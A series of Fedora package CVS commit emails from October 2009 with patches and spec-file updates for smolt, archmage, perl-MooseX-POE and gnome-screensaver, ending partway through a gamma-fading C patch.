From mmcgrath at fedoraproject.org  Thu Oct 22 18:24:12 2009
From: mmcgrath at fedoraproject.org (Mike McGrath)
Date: Thu, 22 Oct 2009 18:24:12 +0000 (UTC)
Subject: rpms/smolt/F-12
	0001-Don-t-print-information-about-the-pager-when-using.patch, NONE, 
	1.1 0001-rhpl.iconv-is-not-required-anymore-by-firstboot.patch,
	NONE, 1.1 0002-fixes-the-p-option.patch, NONE, 1.1 smolt.spec,
	1.76, 1.77
Message-ID: <20091022182412.3921011C008C@cvs1.fedora.phx.redhat.com>

Author: mmcgrath

Update of /cvs/pkgs/rpms/smolt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30570

Modified Files:
	smolt.spec 
Added Files:
	0001-Don-t-print-information-about-the-pager-when-using.patch 
	0001-rhpl.iconv-is-not-required-anymore-by-firstboot.patch 
	0002-fixes-the-p-option.patch 
Log Message:
patching for the F12 final

0001-Don-t-print-information-about-the-pager-when-using.patch:
 sendProfile.py |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE 0001-Don-t-print-information-about-the-pager-when-using.patch ---
>From bbcac174a9392c3b3ed3facd3a5e79b754469759 Mon Sep 17 00:00:00 2001
From: Mike McGrath <mmcgrath at redhat.com>
Date: Tue, 13 Oct 2009 12:57:27 -0500
Subject: [PATCH] Don't print information about the pager when using -p

---
 client/sendProfile.py |    3 ++-
 1 files changed, 2 insertions(+), 1 deletions(-)

diff --git a/client/sendProfile.py b/client/sendProfile.py
index dcf60a3..80f2c37 100644
--- a/client/sendProfile.py
+++ b/client/sendProfile.py
@@ -165,7 +165,8 @@ if opts.scanOnly:
 if not opts.autoSend:
     if opts.printOnly:
         for line in profile.getProfile():
-            print line
+            if not line.startswith('#'):
+                print line
         sys.exit(0)
 
     def inner_indent(text):
-- 
1.6.2.5


0001-rhpl.iconv-is-not-required-anymore-by-firstboot.patch:
 smoltFirstBoot.py |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE 0001-rhpl.iconv-is-not-required-anymore-by-firstboot.patch ---
>From 53273792667e5113972e3de85731123a30c4f288 Mon Sep 17 00:00:00 2001
From: Mike McGrath <mmcgrath at redhat.com>
Date: Tue, 13 Oct 2009 11:46:53 -0500
Subject: [PATCH 1/2] rhpl.iconv is not required anymore by firstboot

---
 client/smoltFirstBoot.py |    1 -
 1 files changed, 0 insertions(+), 1 deletions(-)

diff --git a/client/smoltFirstBoot.py b/client/smoltFirstBoot.py
index 6ce3a2a..9c44d1c 100644
--- a/client/smoltFirstBoot.py
+++ b/client/smoltFirstBoot.py
@@ -3,7 +3,6 @@ import string
 import gtk
 import gobject
 import sys
-import rhpl.iconv
 import os
 import subprocess
 import commands
-- 
1.6.2.5


0002-fixes-the-p-option.patch:
 sendProfile.py |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE 0002-fixes-the-p-option.patch ---
>From 7b61f24db0f7de3ae2d28cdafc983efd2fe46b65 Mon Sep 17 00:00:00 2001
From: Mike McGrath <mmcgrath at redhat.com>
Date: Tue, 13 Oct 2009 11:58:54 -0500
Subject: [PATCH 2/2] fixes the -p option

---
 client/sendProfile.py |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/client/sendProfile.py b/client/sendProfile.py
index ff3a0a9..dcf60a3 100644
--- a/client/sendProfile.py
+++ b/client/sendProfile.py
@@ -164,6 +164,8 @@ if opts.scanOnly:
 
 if not opts.autoSend:
     if opts.printOnly:
+        for line in profile.getProfile():
+            print line
         sys.exit(0)
 
     def inner_indent(text):
-- 
1.6.2.5



Index: smolt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/smolt/F-12/smolt.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- smolt.spec	21 Sep 2009 14:15:18 -0000	1.76
+++ smolt.spec	22 Oct 2009 18:24:12 -0000	1.77
@@ -2,12 +2,15 @@ Name: smolt
 
 Summary: Fedora hardware profiler
 Version: 1.4
-Release: 2%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 Group: Applications/Internet
 URL: http://fedorahosted.org/smolt
 Source: https://fedorahosted.org/releases/s/m/%{name}/%{name}-%{version}.tar.gz
 Patch0: 0001-Client-Hopefully-fix-encoding-trouble.patch
+Patch1: 0001-rhpl.iconv-is-not-required-anymore-by-firstboot.patch
+Patch2: 0002-fixes-the-p-option.patch
+Patch3: 0001-Don-t-print-information-about-the-pager-when-using.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires: dbus-python, python-urlgrabber, gawk, python-paste
@@ -70,6 +73,9 @@ ensure that deps are kept small.
 %prep
 %setup -q
 %patch0 -p1
+%patch1 -p1
+%patch2 -p1
+%patch3 -p1
 
 %build
 cd client/
@@ -209,6 +215,9 @@ touch --no-create %{_datadir}/icons/hico
 %{_bindir}/smoltGui
 
 %changelog
+* Tue Oct 13 2009 Mike McGrath <mmcgrath at redhat.com> 1.4-4
+- Fixing firstboot for F-12
+
 * Mon Sep 21 2009 Mike McGrath <mmcgrath at redhat.com> 1.4-2
 - Patched issue with translations (already upstream)
 



From sherry151 at fedoraproject.org  Thu Oct 22 18:25:02 2009
From: sherry151 at fedoraproject.org (Rangeen Basu Roy Chowdhury)
Date: Thu, 22 Oct 2009 18:25:02 +0000 (UTC)
Subject: rpms/archmage/devel archmage.spec,1.12,1.13
Message-ID: <20091022182502.28F6F11C008C@cvs1.fedora.phx.redhat.com>

Author: sherry151

Update of /cvs/pkgs/rpms/archmage/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31984

Modified Files:
	archmage.spec 
Log Message:
Updated to 0.2.4



Index: archmage.spec
===================================================================
RCS file: /cvs/pkgs/rpms/archmage/devel/archmage.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- archmage.spec	24 Jul 2009 17:02:27 -0000	1.12
+++ archmage.spec	22 Oct 2009 18:25:02 -0000	1.13
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           archmage
-Version:        0.2.3
-Release:        2%{?dist}
+Version:        0.2.4
+Release:        1%{?dist}
 Summary:        Extensible reader/decompiler of files in CHM format
 
 Group:          Development/Tools
@@ -53,8 +53,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man*/archmage*
 
 %changelog
-* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.3-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Thu Oct 22 2009 Rangeen Basu Roy Chowdhury <sherry151 AT fedoraproject DOT org> - 0.2.4-1
+- Update to 0.2.4
 
 * Thu Jun 11 2009 Rangeen Basu Roy Chowdhury <sherry151 AT fedoraproject DOT org> - 0.2.3-1
 - Update to 0.2.3



From allisson at fedoraproject.org  Thu Oct 22 18:25:11 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Thu, 22 Oct 2009 18:25:11 +0000 (UTC)
Subject: rpms/perl-MooseX-POE/devel .cvsignore, 1.4, 1.5 import.log, 1.1,
	1.2 perl-MooseX-POE.spec, 1.7, 1.8 sources, 1.4, 1.5
Message-ID: <20091022182511.8115C11C008C@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/perl-MooseX-POE/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32533/devel

Modified Files:
	.cvsignore import.log perl-MooseX-POE.spec sources 
Log Message:

- Update to 0.205.
- Added perl(Test::Moose) to BR.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	16 Jun 2009 14:28:36 -0000	1.4
+++ .cvsignore	22 Oct 2009 18:25:11 -0000	1.5
@@ -1 +1 @@
-MooseX-POE-0.204.tar.gz
+MooseX-POE-0.205.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	9 Feb 2009 02:31:11 -0000	1.1
+++ import.log	22 Oct 2009 18:25:11 -0000	1.2
@@ -1 +1,2 @@
 perl-MooseX-POE-0_1-2_fc10:HEAD:perl-MooseX-POE-0.1-2.fc10.src.rpm:1234146495
+perl-MooseX-POE-0_205-1_fc11:HEAD:perl-MooseX-POE-0.205-1.fc11.src.rpm:1256235836


Index: perl-MooseX-POE.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/devel/perl-MooseX-POE.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- perl-MooseX-POE.spec	26 Jul 2009 11:28:55 -0000	1.7
+++ perl-MooseX-POE.spec	22 Oct 2009 18:25:11 -0000	1.8
@@ -1,6 +1,6 @@
 Name:           perl-MooseX-POE
-Version:        0.204
-Release:        2%{?dist}
+Version:        0.205
+Release:        1%{?dist}
 Summary:        Illicit Love Child of Moose and POE
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -18,6 +18,7 @@ BuildRequires:  perl(Test::More) >= 0.42
 BuildRequires:  perl(Test::Exception)
 BuildRequires:  perl(MooseX::Daemonize)
 BuildRequires:  perl(CPAN)
+BuildRequires:  perl(Test::Moose)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 ### auto-added reqs!
@@ -75,6 +76,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Thu Oct 22 2009 Allisson Azevedo <allisson at gmail.com> 0.205-1
+- Update to 0.205.
+- Added perl(Test::Moose) to BR.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.204-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	16 Jun 2009 14:28:36 -0000	1.4
+++ sources	22 Oct 2009 18:25:11 -0000	1.5
@@ -1 +1 @@
-d44526acd69c4fcc9a5f50d055bf083d  MooseX-POE-0.204.tar.gz
+59a84180791e70dbd3295914b5cb373b  MooseX-POE-0.205.tar.gz



From allisson at fedoraproject.org  Thu Oct 22 18:26:51 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Thu, 22 Oct 2009 18:26:51 +0000 (UTC)
Subject: rpms/perl-MooseX-POE/F-12 .cvsignore, 1.4, 1.5 import.log, 1.1,
	1.2 perl-MooseX-POE.spec, 1.7, 1.8 sources, 1.4, 1.5
Message-ID: <20091022182651.64F9511C008C@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/perl-MooseX-POE/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv498/F-12

Modified Files:
	.cvsignore import.log perl-MooseX-POE.spec sources 
Log Message:

- Update to 0.205.
- Added perl(Test::Moose) to BR.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	16 Jun 2009 14:28:36 -0000	1.4
+++ .cvsignore	22 Oct 2009 18:26:51 -0000	1.5
@@ -1 +1 @@
-MooseX-POE-0.204.tar.gz
+MooseX-POE-0.205.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	9 Feb 2009 02:31:11 -0000	1.1
+++ import.log	22 Oct 2009 18:26:51 -0000	1.2
@@ -1 +1,2 @@
 perl-MooseX-POE-0_1-2_fc10:HEAD:perl-MooseX-POE-0.1-2.fc10.src.rpm:1234146495
+perl-MooseX-POE-0_205-1_fc11:F-12:perl-MooseX-POE-0.205-1.fc11.src.rpm:1256235942


Index: perl-MooseX-POE.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/F-12/perl-MooseX-POE.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- perl-MooseX-POE.spec	26 Jul 2009 11:28:55 -0000	1.7
+++ perl-MooseX-POE.spec	22 Oct 2009 18:26:51 -0000	1.8
@@ -1,6 +1,6 @@
 Name:           perl-MooseX-POE
-Version:        0.204
-Release:        2%{?dist}
+Version:        0.205
+Release:        1%{?dist}
 Summary:        Illicit Love Child of Moose and POE
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -18,6 +18,7 @@ BuildRequires:  perl(Test::More) >= 0.42
 BuildRequires:  perl(Test::Exception)
 BuildRequires:  perl(MooseX::Daemonize)
 BuildRequires:  perl(CPAN)
+BuildRequires:  perl(Test::Moose)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 ### auto-added reqs!
@@ -75,6 +76,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Thu Oct 22 2009 Allisson Azevedo <allisson at gmail.com> 0.205-1
+- Update to 0.205.
+- Added perl(Test::Moose) to BR.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.204-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	16 Jun 2009 14:28:36 -0000	1.4
+++ sources	22 Oct 2009 18:26:51 -0000	1.5
@@ -1 +1 @@
-d44526acd69c4fcc9a5f50d055bf083d  MooseX-POE-0.204.tar.gz
+59a84180791e70dbd3295914b5cb373b  MooseX-POE-0.205.tar.gz



From allisson at fedoraproject.org  Thu Oct 22 18:30:28 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Thu, 22 Oct 2009 18:30:28 +0000 (UTC)
Subject: rpms/perl-MooseX-POE/F-11 .cvsignore, 1.2, 1.3 import.log, 1.1,
	1.2 perl-MooseX-POE.spec, 1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091022183028.2B9BB11C02A2@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/perl-MooseX-POE/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1497/F-11

Modified Files:
	.cvsignore import.log perl-MooseX-POE.spec sources 
Log Message:

- Update to 0.205.
- Added perl(Test::Moose) to BR.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 Feb 2009 02:31:11 -0000	1.2
+++ .cvsignore	22 Oct 2009 18:30:27 -0000	1.3
@@ -1 +1 @@
-MooseX-POE-0.1.tar.gz
+MooseX-POE-0.205.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/F-11/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	9 Feb 2009 02:31:11 -0000	1.1
+++ import.log	22 Oct 2009 18:30:27 -0000	1.2
@@ -1 +1,2 @@
 perl-MooseX-POE-0_1-2_fc10:HEAD:perl-MooseX-POE-0.1-2.fc10.src.rpm:1234146495
+perl-MooseX-POE-0_205-1_fc11:F-11:perl-MooseX-POE-0.205-1.fc11.src.rpm:1256236143


Index: perl-MooseX-POE.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/F-11/perl-MooseX-POE.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- perl-MooseX-POE.spec	16 Jun 2009 15:05:34 -0000	1.3
+++ perl-MooseX-POE.spec	22 Oct 2009 18:30:27 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           perl-MooseX-POE
-Version:        0.204
+Version:        0.205
 Release:        1%{?dist}
 Summary:        Illicit Love Child of Moose and POE
 License:        GPL+ or Artistic
@@ -18,6 +18,7 @@ BuildRequires:  perl(Test::More) >= 0.42
 BuildRequires:  perl(Test::Exception)
 BuildRequires:  perl(MooseX::Daemonize)
 BuildRequires:  perl(CPAN)
+BuildRequires:  perl(Test::Moose)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 ### auto-added reqs!
@@ -75,6 +76,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Thu Oct 22 2009 Allisson Azevedo <allisson at gmail.com> 0.205-1
+- Update to 0.205.
+- Added perl(Test::Moose) to BR.
+
 * Tue Jun 16 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.204-1
 - auto-update to 0.204 (by cpan-spec-update 0.01)
 - added a new req on perl(Moose) (version 0.73)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	16 Jun 2009 15:05:34 -0000	1.3
+++ sources	22 Oct 2009 18:30:27 -0000	1.4
@@ -1 +1 @@
-d44526acd69c4fcc9a5f50d055bf083d  MooseX-POE-0.204.tar.gz
+59a84180791e70dbd3295914b5cb373b  MooseX-POE-0.205.tar.gz



From sherry151 at fedoraproject.org  Thu Oct 22 18:32:22 2009
From: sherry151 at fedoraproject.org (Rangeen Basu Roy Chowdhury)
Date: Thu, 22 Oct 2009 18:32:22 +0000 (UTC)
Subject: rpms/archmage/devel .cvsignore,1.5,1.6 sources,1.5,1.6
Message-ID: <20091022183222.E0D4511C008C@cvs1.fedora.phx.redhat.com>

Author: sherry151

Update of /cvs/pkgs/rpms/archmage/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1983

Modified Files:
	.cvsignore sources 
Log Message:
Updated to 0.2.4 and checked in new sources properly



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/archmage/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	11 Jun 2009 08:26:01 -0000	1.5
+++ .cvsignore	22 Oct 2009 18:32:22 -0000	1.6
@@ -1 +1 @@
-archmage-0.2.3.tar.gz
+archmage-0.2.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/archmage/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	11 Jun 2009 08:26:01 -0000	1.5
+++ sources	22 Oct 2009 18:32:22 -0000	1.6
@@ -1 +1 @@
-f6aaee246620c4e5c05313c03d51bbf3  archmage-0.2.3.tar.gz
+3c05cf28e0974f773a577feca892d623  archmage-0.2.4.tar.gz



From allisson at fedoraproject.org  Thu Oct 22 18:33:16 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Thu, 22 Oct 2009 18:33:16 +0000 (UTC)
Subject: rpms/perl-MooseX-POE/F-10 .cvsignore, 1.2, 1.3 import.log, 1.1,
	1.2 perl-MooseX-POE.spec, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091022183316.4C0BD11C008C@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/perl-MooseX-POE/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2284/F-10

Modified Files:
	.cvsignore import.log perl-MooseX-POE.spec sources 
Log Message:

- Update to 0.205.
- Added perl(Test::Moose) to BR.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 Feb 2009 02:33:42 -0000	1.2
+++ .cvsignore	22 Oct 2009 18:33:16 -0000	1.3
@@ -1 +1 @@
-MooseX-POE-0.1.tar.gz
+MooseX-POE-0.205.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/F-10/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	9 Feb 2009 02:33:42 -0000	1.1
+++ import.log	22 Oct 2009 18:33:16 -0000	1.2
@@ -1 +1,2 @@
 perl-MooseX-POE-0_1-2_fc10:F-10:perl-MooseX-POE-0.1-2.fc10.src.rpm:1234146649
+perl-MooseX-POE-0_205-1_fc11:F-10:perl-MooseX-POE-0.205-1.fc11.src.rpm:1256236330


Index: perl-MooseX-POE.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/F-10/perl-MooseX-POE.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- perl-MooseX-POE.spec	16 Jun 2009 15:06:24 -0000	1.2
+++ perl-MooseX-POE.spec	22 Oct 2009 18:33:16 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           perl-MooseX-POE
-Version:        0.204
+Version:        0.205
 Release:        1%{?dist}
 Summary:        Illicit Love Child of Moose and POE
 License:        GPL+ or Artistic
@@ -18,6 +18,7 @@ BuildRequires:  perl(Test::More) >= 0.42
 BuildRequires:  perl(Test::Exception)
 BuildRequires:  perl(MooseX::Daemonize)
 BuildRequires:  perl(CPAN)
+BuildRequires:  perl(Test::Moose)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 ### auto-added reqs!
@@ -75,6 +76,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Thu Oct 22 2009 Allisson Azevedo <allisson at gmail.com> 0.205-1
+- Update to 0.205.
+- Added perl(Test::Moose) to BR.
+
 * Tue Jun 16 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.204-1
 - auto-update to 0.204 (by cpan-spec-update 0.01)
 - added a new req on perl(Moose) (version 0.73)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-POE/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	16 Jun 2009 15:06:24 -0000	1.3
+++ sources	22 Oct 2009 18:33:16 -0000	1.4
@@ -1 +1 @@
-d44526acd69c4fcc9a5f50d055bf083d  MooseX-POE-0.204.tar.gz
+59a84180791e70dbd3295914b5cb373b  MooseX-POE-0.205.tar.gz



From mclasen at fedoraproject.org  Thu Oct 22 18:41:52 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 22 Oct 2009 18:41:52 +0000 (UTC)
Subject: rpms/gnome-screensaver/F-12 xrandr-gamma.patch, NONE,
	1.1 gnome-screensaver.spec, 1.228, 1.229
Message-ID: <20091022184152.2C97111C008C@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-screensaver/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4448

Modified Files:
	gnome-screensaver.spec 
Added Files:
	xrandr-gamma.patch 
Log Message:
fix a problem in the previous patch


xrandr-gamma.patch:
 gs-fade.c |  570 +++++++++++++++++++++++++++++++++++++++++---------------------
 1 file changed, 384 insertions(+), 186 deletions(-)

--- NEW FILE xrandr-gamma.patch ---
diff -up gnome-screensaver-2.28.0/src/gs-fade.c.xrandr-gamma gnome-screensaver-2.28.0/src/gs-fade.c
--- gnome-screensaver-2.28.0/src/gs-fade.c.xrandr-gamma	2009-08-19 19:19:14.000000000 -0400
+++ gnome-screensaver-2.28.0/src/gs-fade.c	2009-10-22 14:04:06.740384504 -0400
@@ -40,22 +40,19 @@
 #include "gs-fade.h"
 #include "gs-debug.h"
 
+#define GNOME_DESKTOP_USE_UNSTABLE_API
+
+#include "libgnomeui/gnome-rr.h"
+
 /* XFree86 4.x+ Gamma fading */
 
+
 #ifdef HAVE_XF86VMODE_GAMMA
 
 #include <X11/extensions/xf86vmode.h>
 
 #define XF86_MIN_GAMMA  0.1
 
-typedef struct {
-        XF86VidModeGamma vmg;
-        int              size;
-        unsigned short  *r;
-        unsigned short  *g;
-        unsigned short  *b;
-} xf86_gamma_info;
-
 #endif /* HAVE_XF86VMODE_GAMMA */
 
 static void     gs_fade_class_init (GSFadeClass *klass);
@@ -64,6 +61,31 @@ static void     gs_fade_finalize   (GObj
 
 #define GS_FADE_GET_PRIVATE(o) (G_TYPE_INSTANCE_GET_PRIVATE ((o), GS_TYPE_FADE, GSFadePrivate))
 
+struct GSGammaInfo {
+        int              size;
+        unsigned short  *r;
+        unsigned short  *g;
+        unsigned short  *b;
+};
+
+struct GSFadeScreenPrivate
+{
+        int fade_type;
+        int num_ramps;
+        /* one per crtc in randr mode */
+        struct GSGammaInfo *info;
+        /* one per screen in theory */
+        GnomeRRScreen    *rrscreen;
+#ifdef HAVE_XF86VMODE_GAMMA
+        /* one per screen also */
+        XF86VidModeGamma vmg;
+#endif /* HAVE_XF86VMODE_GAMMA */
+        gboolean (*fade_setup) (GSFade *fade, int screen);
+        gboolean (*fade_set_alpha_gamma) (GSFade *fade,
+                                          int screen, gdouble alpha);
+        void (*fade_finish) (GSFade *fade, int screen);
+};
+        
 struct GSFadePrivate
 {
         guint            enabled : 1;
@@ -78,14 +100,9 @@ struct GSFadePrivate
         gdouble          alpha_per_iter;
         gdouble          current_alpha;
 
-        int              fade_type;
-
         int              num_screens;
 
-#ifdef HAVE_XF86VMODE_GAMMA
-        xf86_gamma_info *gamma_info;
-#endif /* HAVE_XF86VMODE_GAMMA */
-
+        struct GSFadeScreenPrivate *screen_priv;
 };
 
 enum {
@@ -96,7 +113,8 @@ enum {
 enum {
         FADE_TYPE_NONE,
         FADE_TYPE_GAMMA_NUMBER,
-        FADE_TYPE_GAMMA_RAMP
+        FADE_TYPE_GAMMA_RAMP,
+        FADE_TYPE_XRANDR,
 };
 
 static guint         signals [LAST_SIGNAL] = { 0, };
@@ -149,10 +167,16 @@ safe_XF86VidModeQueryVersion (Display *d
 
 static gboolean
 xf86_whack_gamma (int              screen,
-                  xf86_gamma_info *info,
+                  struct GSFadeScreenPrivate *screen_priv,
                   float            ratio)
 {
         Bool status;
+        struct GSGammaInfo *gamma_info;
+
+        gamma_info = screen_priv->info;
+
+        if (!gamma_info)
+                return FALSE;
 
         if (ratio < 0) {
                 ratio = 0;
@@ -161,14 +185,14 @@ xf86_whack_gamma (int              scree
                 ratio = 1;
         }
 
-        if (info->size == 0) {
+        if (gamma_info->size == 0) {
                 /* we only have a gamma number, not a ramp. */
 
                 XF86VidModeGamma g2;
 
-                g2.red   = info->vmg.red   * ratio;
-                g2.green = info->vmg.green * ratio;
-                g2.blue  = info->vmg.blue  * ratio;
+                g2.red   = screen_priv->vmg.red   * ratio;
+                g2.green = screen_priv->vmg.green * ratio;
+                g2.blue  = screen_priv->vmg.blue  * ratio;
 
                 if (g2.red < XF86_MIN_GAMMA) {
                         g2.red = XF86_MIN_GAMMA;
@@ -187,21 +211,21 @@ xf86_whack_gamma (int              scree
                 unsigned short *r, *g, *b;
                 int i;
 
-                r = g_new0 (unsigned short, info->size);
-                g = g_new0 (unsigned short, info->size);
-                b = g_new0 (unsigned short, info->size);
-
-                for (i = 0; i < info->size; i++) {
-                        r[i] = info->r[i] * ratio;
-                        g[i] = info->g[i] * ratio;
-                        b[i] = info->b[i] * ratio;
+                r = g_new0 (unsigned short, gamma_info->size);
+                g = g_new0 (unsigned short, gamma_info->size);
+                b = g_new0 (unsigned short, gamma_info->size);
+
+                for (i = 0; i < gamma_info->size; i++) {
+                        r[i] = gamma_info->r[i] * ratio;
+                        g[i] = gamma_info->g[i] * ratio;
+                        b[i] = gamma_info->b[i] * ratio;
                 }
 
-                status = XF86VidModeSetGammaRamp (GDK_DISPLAY (), screen, info->size, r, g, b);
+                status = XF86VidModeSetGammaRamp (GDK_DISPLAY (), screen, gamma_info->size, r, g, b);
 
-                free (r);
-                free (g);
-                free (b);
+                g_free (r);
+                g_free (g);
+                g_free (b);
 
 # else  /* !HAVE_XF86VMODE_GAMMA_RAMP */
                 abort ();
@@ -223,44 +247,6 @@ xf86_whack_gamma (int              scree
 # define XF86_VIDMODE_GAMMA_RAMP_MIN_MAJOR 2
 # define XF86_VIDMODE_GAMMA_RAMP_MIN_MINOR 1
 
-static int
-check_gamma_extension (void)
-{
-#ifdef HAVE_XF86VMODE_GAMMA
-        int      event;
-        int      error;
-        int      major;
-        int      minor;
-        gboolean res;
-
-        res = XF86VidModeQueryExtension (GDK_DISPLAY (), &event, &error);
-        if (! res) {
-                return FADE_TYPE_NONE;  /* display doesn't have the extension. */
-        }
-
-        res = safe_XF86VidModeQueryVersion (GDK_DISPLAY (), &major, &minor);
-        if (! res) {
-                return FADE_TYPE_NONE;  /* unable to get version number? */
-        }
-
-        if (major < XF86_VIDMODE_GAMMA_MIN_MAJOR ||
-            (major == XF86_VIDMODE_GAMMA_MIN_MAJOR &&
-             minor < XF86_VIDMODE_GAMMA_MIN_MINOR)) {
-                return FADE_TYPE_NONE;  /* extension is too old for gamma. */
-        }
-
-        if (major < XF86_VIDMODE_GAMMA_RAMP_MIN_MAJOR ||
-            (major == XF86_VIDMODE_GAMMA_RAMP_MIN_MAJOR &&
-             minor < XF86_VIDMODE_GAMMA_RAMP_MIN_MINOR)) {
